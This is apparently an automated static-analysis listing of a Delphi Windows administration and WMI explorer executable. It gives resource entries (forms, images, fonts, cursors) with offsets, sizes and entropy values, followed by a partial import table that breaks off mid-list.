RT_STRING	0x170b870	0x1a0	data			0.5144230769230769
RT_STRING	0x170ba10	0x1c8	data			0.4824561403508772
RT_STRING	0x170bbd8	0x2d0	data			0.32916666666666666
RT_STRING	0x170bea8	0x1a0	data			0.5120192307692307
RT_STRING	0x170c048	0x1d0	data			0.5172413793103449
RT_STRING	0x170c218	0x17c	data			0.5
RT_STRING	0x170c394	0x1c8	data			0.4407894736842105
RT_STRING	0x170c55c	0x1a4	data			0.48095238095238096
RT_STRING	0x170c700	0x12c	data			0.58
RT_STRING	0x170c82c	0x188	data			0.5280612244897959
RT_STRING	0x170c9b4	0x470	data			0.3573943661971831
RT_STRING	0x170ce24	0xe8	data			0.6077586206896551
RT_STRING	0x170cf0c	0x190	data			0.4925
RT_STRING	0x170d09c	0x30c	data			0.45897435897435895
RT_STRING	0x170d3a8	0x244	data			0.4862068965517241
RT_STRING	0x170d5ec	0x1c8	data			0.4934210526315789
RT_STRING	0x170d7b4	0x270	data			0.4583333333333333
RT_STRING	0x170da24	0x130	data			0.618421052631579
RT_STRING	0x170db54	0x1a4	data			0.49047619047619045
RT_STRING	0x170dcf8	0x170	data			0.5244565217391305
RT_STRING	0x170de68	0x204	data			0.3178294573643411
RT_STRING	0x170e06c	0xcc	data			0.6568627450980392
RT_STRING	0x170e138	0x11c	data			0.5633802816901409
RT_STRING	0x170e254	0x134	data			0.44155844155844154
RT_STRING	0x170e388	0xfc	data			0.5873015873015873
RT_STRING	0x170e484	0x628	data			0.3083756345177665
RT_STRING	0x170eaac	0x1cc	data			0.5217391304347826
RT_STRING	0x170ec78	0x200	data			0.51171875
RT_STRING	0x170ee78	0x160	AmigaOS bitmap font "o", fc_YSize 29696, 19968 elements, 2nd "o", 3rd			0.5
RT_STRING	0x170efd8	0x1e8	data			0.4098360655737705
RT_STRING	0x170f1c0	0x1b8	data			0.43863636363636366
RT_STRING	0x170f378	0x1a4	data			0.45476190476190476
RT_STRING	0x170f51c	0x24c	data			0.4965986394557823
RT_STRING	0x170f768	0x1bc	data			0.5472972972972973
RT_STRING	0x170f924	0x194	data			0.5198019801980198
RT_STRING	0x170fab8	0x1b4	data			0.463302752293578
RT_STRING	0x170fc6c	0x16c	data			0.5274725274725275
RT_STRING	0x170fdd8	0x13c	data			0.5854430379746836
RT_STRING	0x170ff14	0x364	data			0.39285714285714285
RT_STRING	0x1710278	0x3e8	data			0.35
RT_STRING	0x1710660	0x5d8	data			0.3689839572192513
RT_STRING	0x1710c38	0x430	data			0.3880597014925373
RT_STRING	0x1711068	0x234	data			0.4148936170212766
RT_STRING	0x171129c	0x170	data			0.5027173913043478
RT_STRING	0x171140c	0x324	data			0.3880597014925373
RT_STRING	0x1711730	0x288	data			0.5077160493827161
RT_STRING	0x17119b8	0x29c	data			0.4311377245508982
RT_STRING	0x1711c54	0x328	data			0.34405940594059403
RT_STRING	0x1711f7c	0x1a8	data			0.5141509433962265
RT_STRING	0x1712124	0x160	data			0.53125
RT_STRING	0x1712284	0x180	data			0.5729166666666666
RT_STRING	0x1712404	0x198	data			0.46568627450980393
RT_STRING	0x171259c	0x1d8	data			0.4915254237288136
RT_STRING	0x1712774	0x68c	data			0.16646778042959426
RT_STRING	0x1712e00	0x78c	data			0.27639751552795033
RT_STRING	0x171358c	0x4bc	data			0.382013201320132
RT_STRING	0x1713a48	0xbc	data			0.6808510638297872
RT_STRING	0x1713b04	0x400	data			0.384765625
RT_STRING	0x1713f04	0x2bc	data			0.47
RT_STRING	0x17141c0	0x3b8	data			0.38130252100840334
RT_STRING	0x1714578	0x390	data			0.3925438596491228
RT_STRING	0x1714908	0x250	data			0.4239864864864865
RT_STRING	0x1714b58	0x1c8	data			0.5285087719298246
RT_STRING	0x1714d20	0x10c	data			0.5708955223880597
RT_STRING	0x1714e2c	0x22c	data			0.47302158273381295
RT_STRING	0x1715058	0x414	data			0.3716475095785441
RT_STRING	0x171546c	0x558	data			0.31505847953216376
RT_STRING	0x17159c4	0x640	data			0.310625
RT_STRING	0x1716004	0x180	data			0.4270833333333333
RT_STRING	0x1716184	0xf0	data			0.675
RT_STRING	0x1716274	0x214	data			0.4830827067669173
RT_STRING	0x1716488	0x1bc	data			0.46621621621621623
RT_STRING	0x1716644	0x168	data			0.39166666666666666
RT_STRING	0x17167ac	0x170	data			0.41847826086956524
RT_STRING	0x171691c	0x300	data			0.3919270833333333
RT_STRING	0x1716c1c	0x3bc	data			0.40690376569037656
RT_STRING	0x1716fd8	0x438	data			0.3648148148148148
RT_STRING	0x1717410	0x488	data			0.33879310344827585
RT_STRING	0x1717898	0x53c	data			0.27761194029850744
RT_STRING	0x1717dd4	0x708	data			0.3388888888888889
RT_STRING	0x17184dc	0xbf0	data			0.23036649214659685
RT_STRING	0x17190cc	0x558	data			0.3793859649122807
RT_STRING	0x1719624	0x438	data			0.3277777777777778
RT_STRING	0x1719a5c	0x2cc	data			0.4092178770949721
RT_STRING	0x1719d28	0x6ec	data			0.18961625282167044
RT_STRING	0x171a414	0x864	data			0.14711359404096835
RT_STRING	0x171ac78	0x864	data			0.13687150837988826
RT_STRING	0x171b4dc	0x7cc	data			0.15531062124248496
RT_STRING	0x171bca8	0x8d4	data			0.12654867256637167
RT_STRING	0x171c57c	0xa20	data			0.12075617283950617
RT_STRING	0x171cf9c	0x6d0	data			0.24311926605504589
RT_STRING	0x171d66c	0x5a0	data			0.3548611111111111
RT_STRING	0x171dc0c	0x404	data			0.377431906614786
RT_STRING	0x171e010	0x4fc	data			0.35266457680250785
RT_STRING	0x171e50c	0x478	data			0.3758741258741259
RT_STRING	0x171e984	0x4d4	data			0.36326860841423947
RT_STRING	0x171ee58	0x3a4	data			0.41952789699570814
RT_STRING	0x171f1fc	0x514	data			0.36230769230769233
RT_STRING	0x171f710	0x2f0	data			0.46808510638297873
RT_STRING	0x171fa00	0x104	data			0.5615384615384615
RT_STRING	0x171fb04	0x444	data			0.38186813186813184
RT_STRING	0x171ff48	0x468	data			0.3945035460992908
RT_STRING	0x17203b0	0x3d4	data			0.32653061224489793
RT_STRING	0x1720784	0x2a8	data			0.4279411764705882
RT_STRING	0x1720a2c	0x3a0	data			0.4245689655172414
RT_STRING	0x1720dcc	0x3ac	data			0.4372340425531915
RT_STRING	0x1721178	0x108	data			0.6477272727272727
RT_STRING	0x1721280	0xd4	data			0.660377358490566
RT_STRING	0x1721354	0x2c4	data			0.4251412429378531
RT_STRING	0x1721618	0x148	data			0.5701219512195121
RT_STRING	0x1721760	0x410	data			0.3855769230769231
RT_STRING	0x1721b70	0x3e4	data			0.38755020080321284
RT_STRING	0x1721f54	0x3e4	data			0.36244979919678716
RT_STRING	0x1722338	0x3d4	data			0.2826530612244898
RT_STRING	0x172270c	0x3d0	data			0.4344262295081967
RT_STRING	0x1722adc	0x5ac	data			0.3367768595041322
RT_STRING	0x1723088	0x550	data			0.38382352941176473
RT_STRING	0x17235d8	0x368	data			0.37729357798165136
RT_STRING	0x1723940	0x348	data			0.4011904761904762
RT_STRING	0x1723c88	0x3c8	data			0.36260330578512395
RT_STRING	0x1724050	0x390	data			0.3815789473684211
RT_STRING	0x17243e0	0xcc	data			0.5392156862745098
RT_STRING	0x17244ac	0xb0	data			0.6534090909090909
RT_STRING	0x172455c	0x2f0	data			0.4601063829787234
RT_STRING	0x172484c	0x438	data			0.3212962962962963
RT_STRING	0x1724c84	0x344	data			0.39593301435406697
RT_STRING	0x1724fc8	0x2dc	data			0.38114754098360654
RT_STRING	0x17252a4	0x34c	data			0.3246445497630332
RT_RCDATA	0x17255f0	0x10	data			1.5
RT_RCDATA	0x1725600	0x160	RIFF (little-endian) data, WAVE audio, Microsoft ADPCM, mono 22050 Hz			0.6448863636363636
RT_RCDATA	0x1725760	0xa852	data			0.12910187978649337
RT_RCDATA	0x172ffb4	0xa43	PNG image data, 86 x 37, 8-bit/color RGB, non-interlaced	English	United States	1.0041872858774268
RT_RCDATA	0x17309f8	0xb39	PNG image data, 1 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0038287504350853
RT_RCDATA	0x1731534	0xb18	PNG image data, 1 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0038732394366197
RT_RCDATA	0x173204c	0xb12	PNG image data, 1 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.003881439661256
RT_RCDATA	0x1732b60	0xb09	PNG image data, 2 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0038938053097346
RT_RCDATA	0x173366c	0x3e10	data			0.46330563947633435
RT_RCDATA	0x173747c	0x8d	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0354609929078014
RT_RCDATA	0x173750c	0x8f	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.027972027972028
RT_RCDATA	0x173759c	0x8d	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0354609929078014
RT_RCDATA	0x173762c	0x7032	PNG image data, 1400 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0005570642712902
RT_RCDATA	0x173e660	0x16b	PNG image data, 1 x 23, 8-bit/color RGB, non-interlaced	English	United States	0.8898071625344353
RT_RCDATA	0x173e7cc	0x73	Delphi compiled form 'TAdRemCommonImagesModule'			0.7739130434782608
RT_RCDATA	0x173e840	0x4c8	Delphi compiled form 'TBackupLocatonDialog'			0.49836601307189543
RT_RCDATA	0x173ed08	0xe3e	PNG image data, 81 x 29, 8-bit/color RGBA, non-interlaced	English	United States	1.0030170049369171
RT_RCDATA	0x173fb48	0xe2c	PNG image data, 81 x 29, 8-bit/color RGBA, non-interlaced	English	United States	1.00303197353914
RT_RCDATA	0x1740974	0xee4	Delphi compiled form 'TCommonAboutDlg'			0.38562434417628544
RT_RCDATA	0x1741858	0x1df	Delphi compiled form 'TCommonSkinManager'			0.6012526096033403
RT_RCDATA	0x1741a38	0xd05	Delphi compiled form 'TCommonWizardForm'			0.39993999399939995
RT_RCDATA	0x1742740	0x6b4	Delphi compiled form 'TConnectDialog'			0.4813519813519814
RT_RCDATA	0x1742df4	0xbe4	Delphi compiled form 'TCustomInventoryForm'			0.34132720105124836
RT_RCDATA	0x17439d8	0x2b60	Delphi compiled form 'TcxCollectionEditor'			0.1305835734870317
RT_RCDATA	0x1746538	0x675	Delphi compiled form 'TcxFilterDialog'			0.4543254688445251
RT_RCDATA	0x1746bb0	0x605	Delphi compiled form 'TcxfmPictureEditor'			0.4081765087605451
RT_RCDATA	0x17471b8	0x4ba	Delphi compiled form 'TcxfmStringsEditor'			0.4933884297520661
RT_RCDATA	0x1747674	0x27f9	Delphi compiled form 'TcxfmVerticalGridReportLinkDesignWindow'			0.27548128603537575
RT_RCDATA	0x1749e70	0xe250	Delphi compiled form '"TcxGridLayoutViewCustomizationForm!cxGridLayoutViewCustomizationForm'			0.3495581331123999
RT_RCDATA	0x17580c0	0xbbbc	Delphi compiled form '0TcxGridTableViewInplaceEditFormCustomizationForm/cxGridTableViewInplaceEditFormCustomizationForm\007Caption\006/cxGridTableViewInpla'			0.3441531419059509
RT_RCDATA	0x1763c7c	0x12e4	Delphi compiled form '"TcxGridViewLayoutCustomizationForm!cxGridViewLayoutCustomizationForm\004Left\003c\002\003Top\003\254'			0.2847394540942928
RT_RCDATA	0x1764f60	0x2925	Delphi compiled form 'TDisconnectedForm'			0.18152473179530998
RT_RCDATA	0x1767888	0x9a8	Delphi compiled form 'TDisksInfo'			0.47249190938511326
RT_RCDATA	0x1768230	0xf07	Delphi compiled form 'TdlgEditLink'			0.3519625682349883
RT_RCDATA	0x1769138	0x61b	Delphi compiled form 'TdlgListPnl'			0.4523352527191299
RT_RCDATA	0x1769754	0x4577	Delphi compiled form 'TdlgRFieldsEditor'			0.18759489399988755
RT_RCDATA	0x176dccc	0xd3f	Delphi compiled form 'TdlgSubQuery'			0.4606310822766146
RT_RCDATA	0x176ea0c	0x47d8	Delphi compiled form 'TdxBarCustomCustomizationForm'			0.10645933014354067
RT_RCDATA	0x17731e4	0x22a1	Delphi compiled form '\027TdxBarCustomizationForm\026dxBarCustomizationForm\004Left\003\303\002\003Top\003\253'			0.2865200225606317
RT_RCDATA	0x1775488	0x47f	Delphi compiled form 'TdxBarItemAddEditor'			0.45351867940920937
RT_RCDATA	0x1775908	0x24c	Delphi compiled form 'TdxBarNameEd'			0.6105442176870748
RT_RCDATA	0x1775b54	0x134	Delphi compiled form 'TdxBarSubMenuEditor'			0.7467532467532467
RT_RCDATA	0x1775c88	0x7ac	Delphi compiled form 'TdxColorDialogForm'			0.43533604887983707
RT_RCDATA	0x1776434	0x13f3	Delphi compiled form 'TdxFEFDialog'			0.3403172116702565
RT_RCDATA	0x1777828	0x1a96	Delphi compiled form 'TdxfmAddComponent'			0.3696738172200999
RT_RCDATA	0x17792c0	0x6e4	Delphi compiled form 'TdxfmAutoText'			0.43480725623582767
RT_RCDATA	0x17799a4	0x21c6	Delphi compiled form 'TdxfmColorPalette'			0.18864214665741383
RT_RCDATA	0x177bb6c	0x73d	Delphi compiled form 'TdxfmCompositionAddItems'			0.48569886670264434
RT_RCDATA	0x177c2ac	0xe27	Delphi compiled form 'TdxfmCompositionDesignWindow'			0.4131934860612752
RT_RCDATA	0x177d0d4	0xd34	Delphi compiled form 'TdxfmCPDesigner'			0.4020710059171598
RT_RCDATA	0x177de08	0x89ab	Delphi compiled form 'TdxfmCustomContainerDesignWindow'			0.2822120704820815
RT_RCDATA	0x17867b4	0x5d8	Delphi compiled form 'TdxfmDateTimeFormats'			0.4137700534759358
RT_RCDATA	0x1786d8c	0x895	Delphi compiled form 'TdxfmDefinePrintStyles'			0.4264906690942194
RT_RCDATA	0x1787624	0x301	Delphi compiled form 'TdxfmEditDescription'			0.5799739921976593
RT_RCDATA	0x1787928	0x404b	Delphi compiled form 'TdxfmGridReportLinkDesignWindow'			0.2392004374506349
RT_RCDATA	0x178b974	0xa7a	Delphi compiled form 'TdxfmOptions'			0.3762117822520507
RT_RCDATA	0x178c3f0	0x79c	Delphi compiled form 'TdxfmPageNumberFormat'			0.4009240246406571
RT_RCDATA	0x178cb8c	0xdcf2	Delphi compiled form 'TdxfmPageSetupDialog'			0.18349775467628443
RT_RCDATA	0x179a880	0x5b2b	Delphi compiled form 'TdxfmPreviewWdxBar'			0.21449076652812887
RT_RCDATA	0x17a03ac	0x3480	Delphi compiled form 'TdxfmPrintDialog'			0.40327380952380953
RT_RCDATA	0x17a382c	0x31c4	Delphi compiled form 'TdxfmPSReportProperties'			0.3914442700156986
RT_RCDATA	0x17a69f0	0x329e	Delphi compiled form 'TdxfmReportFootnotesProperties'			0.130112671708597
RT_RCDATA	0x17a9c90	0x3292	Delphi compiled form 'TdxfmReportTitleProperties'			0.12969256913332303
RT_RCDATA	0x17acf24	0xd431	Delphi compiled form 'TdxfmStdPreview'			0.1129397470591484
RT_RCDATA	0x17ba358	0x2921	Delphi compiled form 'TdxfmTextReportLinkDesignWindow'			0.09621046633108557
RT_RCDATA	0x17bcc7c	0x11902	Delphi compiled form 'TdxLayoutControlCustomizeForm'			0.312435708526787
RT_RCDATA	0x17ce580	0x15f9	Delphi compiled form 'TdxLBxReportLinkDesignWindow'			0.39857777777777775
RT_RCDATA	0x17cfb7c	0x3a35	Delphi compiled form 'TdxNavBarCustomizationForm'			0.23931279779880546
RT_RCDATA	0x17d35b4	0x1595	Delphi compiled form 'TdxPSPDFExportDialogForm'			0.32723981900452487
RT_RCDATA	0x17d4b4c	0x415c8	TrueType Font data, 19 tables, 1st "GPOS", 16 names, Macintosh, $g$\252 fonts 1999\251ElektraMediumTransType 3 MAC;Elektra;001.000;18/07/06 23:22:47ElektraVer	English	United States	0.10237935156133274
RT_RCDATA	0x1816114	0x5f80	TrueType Font data, 15 tables, 1st "OS/2", 21 names, Unicode	English	United States	0.3445271596858639
RT_RCDATA	0x181c094	0xdd9	Delphi compiled form 'TExplorerWizardNamespaces'			0.5435825105782792
RT_RCDATA	0x181ce70	0x28a	Delphi compiled form 'TfmCreateCategory'			0.5784615384615385
RT_RCDATA	0x181d0fc	0x31b	Delphi compiled form 'TfmdxChangeFileName'			0.5559748427672956
RT_RCDATA	0x181d418	0x899	Delphi compiled form 'TfmFilterControlDialog'			0.4238982280781463
RT_RCDATA	0x181dcb4	0x13d15	Delphi compiled form 'TfmZoom'			0.32800315375802297
RT_RCDATA	0x18319cc	0x18fe	Delphi compiled form 'TFormatDisplayNumberDialog'			0.3552672710221944
RT_RCDATA	0x18332cc	0x1460	Delphi compiled form 'TFormatExplDialog'			0.38266871165644173
RT_RCDATA	0x183472c	0x45b	Delphi compiled form 'TfrmAddGroupItems'			0.4547085201793722
RT_RCDATA	0x1834b88	0x3da4	Delphi compiled form 'TGeneralInfo'			0.33105196451204055
RT_RCDATA	0x183892c	0x2e0	Delphi compiled form 'TGlobalModule'			0.5434782608695652
RT_RCDATA	0x1838c0c	0x3587	Delphi compiled form 'TGridStylesRepositoryModule'			0.10654601182222871
RT_RCDATA	0x183c194	0x17f3	Delphi compiled form 'TGroupUserDialog'			0.29913554069482956
RT_RCDATA	0x183d988	0x637	Delphi compiled form 'THelpAssistView'			0.42426147077309867
RT_RCDATA	0x183dfc0	0x5eefb	Delphi compiled form 'TImagesDM'			0.6735963421188657
RT_RCDATA	0x189cebc	0x549	Delphi compiled form 'TLayoutEditForm'			0.4220251293422025
RT_RCDATA	0x189d408	0x369b	Delphi compiled form 'TLogEventsForm'			0.3240575148436941
RT_RCDATA	0x18a0aa4	0x96e	Delphi compiled form 'TLogicalDiskFrame'			0.38898094449047227
RT_RCDATA	0x18a1414	0x494	Delphi compiled form 'TLoginDialog'			0.48976109215017066
RT_RCDATA	0x18a18a8	0x1c90	Delphi compiled form 'TLogPropertiesDialog'			0.4489879649890591
RT_RCDATA	0x18a3538	0xb6b	Delphi compiled form 'TMadExcept'			0.47451248717071504
RT_RCDATA	0x18a40a4	0x34e	Delphi compiled form 'TMEContactForm'			0.43498817966903075
RT_RCDATA	0x18a43f4	0x228	Delphi compiled form 'TMEDetailsForm'			0.5416666666666666
RT_RCDATA	0x18a461c	0x2a3	Delphi compiled form 'TMEScrShotForm'			0.5333333333333333
RT_RCDATA	0x18a48c0	0x1712	Delphi compiled form 'TNetNeighborhoodDialog'			0.3994243142566881
RT_RCDATA	0x18a5fd4	0xc57	Delphi compiled form 'TOptionsDialog'			0.3308008863564419
RT_RCDATA	0x18a6c2c	0x3fd	Delphi compiled form 'TOptionsForm'			0.4926542605288932
RT_RCDATA	0x18a702c	0x675	Delphi compiled form 'TPartitionFrame'			0.32667876588021777
RT_RCDATA	0x18a76a4	0x3c4	Delphi compiled form 'TPasswordDialog'			0.4678423236514523
RT_RCDATA	0x18a7a68	0x452	Delphi compiled form 'TPasswordQuery'			0.5054249547920434
RT_RCDATA	0x18a7ebc	0x23ae	Delphi compiled form 'TProcessesForm'			0.2485220056930151
RT_RCDATA	0x18aa26c	0x17fd	Delphi compiled form 'TRegisteredLogSources'			0.3343103729034359
RT_RCDATA	0x18aba6c	0x486	Delphi compiled form 'TSelectionPanel'			0.4913644214162349
RT_RCDATA	0x18abef4	0x42f	Delphi compiled form 'TServicePendingProgress'			0.4976657329598506
RT_RCDATA	0x18ac324	0x201a	Delphi compiled form 'TServicePropertiesDialog'			0.2905816500365052
RT_RCDATA	0x18ae340	0x3f49	Delphi compiled form 'TServicesForm'			0.3159681501141905
RT_RCDATA	0x18b228c	0x52b	Delphi compiled form 'TShutDownDialog'			0.5071806500377929
RT_RCDATA	0x18b27b8	0x1476	Delphi compiled form 'TToolBarForm'			0.3432607865597556
RT_RCDATA	0x18b3c30	0x67b	Delphi compiled form 'TUserPassQuery'			0.3743218806509946
RT_RCDATA	0x18b42ac	0x30c18	Delphi compiled form 'TWinToolsMainForm'			0.03343949044585987
RT_RCDATA	0x18e4ec4	0x8a1	Delphi compiled form 'TWMIExceptionDialog'			0.4051607062019013
RT_RCDATA	0x18e5768	0x6e0	Delphi compiled form 'TWMIExceptionList'			0.4875
RT_RCDATA	0x18e5e48	0x18f3	Delphi compiled form 'TWMIExplorerForm'			0.35979333020197274
RT_RCDATA	0x18e773c	0x33d6	Delphi compiled form '\022TWMIExplorerWizard\021WMIExplorerWizard\004Left\003\304\001\003Top\003\317'			0.3212509419743783
RT_RCDATA	0x18eab14	0x12460	Delphi compiled form 'TWmiPrintExportDataModule'			0.05528537836682343
RT_RCDATA	0x18fcf74	0xc8e	Delphi compiled form '\031TWmiPrintExportPreviewDlg\030WmiPrintExportPreviewDlg\004Left\002'			0.3802115743621655
RT_RCDATA	0x18fdc04	0x427	Delphi compiled form 'TWMIProgressDialog'			0.5785512699905927
RT_RCDATA	0x18fe02c	0x8099	Delphi compiled form 'T_dlgDataModelEditor'			0.21530330184380791
RT_RCDATA	0x19060c8	0x55d	Delphi compiled form 'T_dlgTitlesEdit'			0.48434085943190097
RT_RCDATA	0x1906628	0x5141	PNG image data, 840 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0007691937887602
RT_GROUP_CURSOR	0x190b76c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x190b780	0x22	data			1.1176470588235294
RT_GROUP_CURSOR	0x190b7a4	0x14	data			1.4
RT_GROUP_CURSOR	0x190b7b8	0x22	data			0.9705882352941176
RT_GROUP_CURSOR	0x190b7dc	0x14	data			1.4
RT_GROUP_CURSOR	0x190b7f0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190b804	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190b818	0x14	data			1.4
RT_GROUP_CURSOR	0x190b82c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190b840	0x14	data			1.4
RT_GROUP_CURSOR	0x190b854	0x14	data			1.4
RT_GROUP_CURSOR	0x190b868	0x14	data			1.4
RT_GROUP_CURSOR	0x190b87c	0x14	data			1.4
RT_GROUP_CURSOR	0x190b890	0x14	data			1.4
RT_GROUP_CURSOR	0x190b8a4	0x14	data			1.4
RT_GROUP_CURSOR	0x190b8b8	0x14	data			1.4
RT_GROUP_CURSOR	0x190b8cc	0x14	data			1.4
RT_GROUP_CURSOR	0x190b8e0	0x14	data			1.4
RT_GROUP_CURSOR	0x190b8f4	0x14	data			1.4
RT_GROUP_CURSOR	0x190b908	0x14	data			1.4
RT_GROUP_CURSOR	0x190b91c	0x14	data			1.4
RT_GROUP_CURSOR	0x190b930	0x14	data			1.4
RT_GROUP_CURSOR	0x190b944	0x14	data			1.4
RT_GROUP_CURSOR	0x190b958	0x14	data			1.4
RT_GROUP_CURSOR	0x190b96c	0x14	data			1.4
RT_GROUP_CURSOR	0x190b980	0x14	data			1.4
RT_GROUP_CURSOR	0x190b994	0x14	data			1.4
RT_GROUP_CURSOR	0x190b9a8	0x14	data			1.4
RT_GROUP_CURSOR	0x190b9bc	0x14	data			1.4
RT_GROUP_CURSOR	0x190b9d0	0x14	data			1.4
RT_GROUP_CURSOR	0x190b9e4	0x14	data			1.4
RT_GROUP_CURSOR	0x190b9f8	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba0c	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba20	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba34	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba48	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba5c	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba70	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba84	0x14	data			1.4
RT_GROUP_CURSOR	0x190ba98	0x14	data			1.4
RT_GROUP_CURSOR	0x190baac	0x14	data			1.4
RT_GROUP_CURSOR	0x190bac0	0x14	data			1.4
RT_GROUP_CURSOR	0x190bad4	0x14	data			1.4
RT_GROUP_CURSOR	0x190bae8	0x14	data			1.4
RT_GROUP_CURSOR	0x190bafc	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb10	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb24	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb38	0x14	data			1.25
RT_GROUP_CURSOR	0x190bb4c	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb60	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb74	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb88	0x14	data			1.4
RT_GROUP_CURSOR	0x190bb9c	0x14	data			1.4
RT_GROUP_CURSOR	0x190bbb0	0x14	data			1.4
RT_GROUP_CURSOR	0x190bbc4	0x14	data			1.4
RT_GROUP_CURSOR	0x190bbd8	0x14	data			1.4
RT_GROUP_CURSOR	0x190bbec	0x14	data			1.4
RT_GROUP_CURSOR	0x190bc00	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190bc14	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190bc28	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190bc3c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190bc50	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190bc64	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x190bc78	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x190bc8c	0x14	data			1.4
RT_GROUP_CURSOR	0x190bca0	0x14	data			1.4
RT_GROUP_CURSOR	0x190bcb4	0x14	data			1.4
RT_GROUP_CURSOR	0x190bcc8	0x14	data			1.4
RT_GROUP_CURSOR	0x190bcdc	0x14	data			1.4
RT_GROUP_CURSOR	0x190bcf0	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd04	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd18	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd2c	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd40	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd54	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd68	0x14	data			1.4
RT_GROUP_CURSOR	0x190bd7c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x190bd90	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x190bda4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x190bdb8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x190bdcc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x190bde0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x190bdf4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x190be08	0xa0	data	English	United States	0.6375
RT_VERSION	0x190bea8	0x394	OpenPGP Secret Key	English	United States	0.45524017467248906
RT_MANIFEST	0x190c23c	0x57a	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4514978601997147

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	MessageBoxA, CharNextW, LoadStringW
kernel32.dll	Sleep, VirtualFree, VirtualAlloc, lstrlenW, VirtualQuery, QueryPerformanceCounter, GetTickCount, GetSystemInfo, GetVersion, CompareStringW, IsDBCSLeadByteEx, IsValidLocale, SetThreadLocale, GetSystemDefaultUILanguage, GetUserDefaultUILanguage, GetLocaleInfoW, WideCharToMultiByte, MultiByteToWideChar, GetConsoleOutputCP, GetConsoleCP, GetACP, LoadLibraryExW, GetStartupInfoW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetCommandLineW, FreeLibrary, GetLastError, UnhandledExceptionFilter, RtlUnwind, RaiseException, ExitProcess, ExitThread, SwitchToThread, GetCurrentThreadId, CreateThread, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, FindFirstFileW, FindClose, WriteFile, SetFilePointer, SetEndOfFile, ReadFile, GetFileType, GetFileSize, CreateFileW, GetStdHandle, CloseHandle
kernel32.dll	GetProcAddress, RaiseException, LoadLibraryA, GetLastError, TlsSetValue, TlsGetValue, LocalFree, LocalAlloc, GetModuleHandleW, FreeLibrary
user32.dll	SetClassLongW, GetClassLongW, SetWindowLongW, GetWindowLongW, CreateWindowExA, CreateWindowExW, wvsprintfA, wvsprintfW, keybd_event, WindowFromPoint, WindowFromDC, WinHelpW, WaitMessage, VkKeyScanW, ValidateRect, UpdateWindow, UnregisterClassW, UnionRect, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenuEx, TrackPopupMenu, ToUnicode, ToAsciiEx, ToAscii, TabbedTextOutA, TabbedTextOutW, SystemParametersInfoW, SubtractRect, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCaret, SetWindowRgn, SetWindowsHookExW, SetWindowTextA, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRectEmpty, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenuInfo, SetMenuDefaultItem, SetMenu, SetKeyboardState, SetForegroundWindow, SetFocus, SetCursorPos, SetCursor, SetClipboardViewer, SetClipboardData, SetCaretPos, SetCapture, SetActiveWindow, SendNotifyMessageW, SendMessageTimeoutA, SendMessageTimeoutW, SendMessageA, SendMessageW, SendDlgItemMessageW, 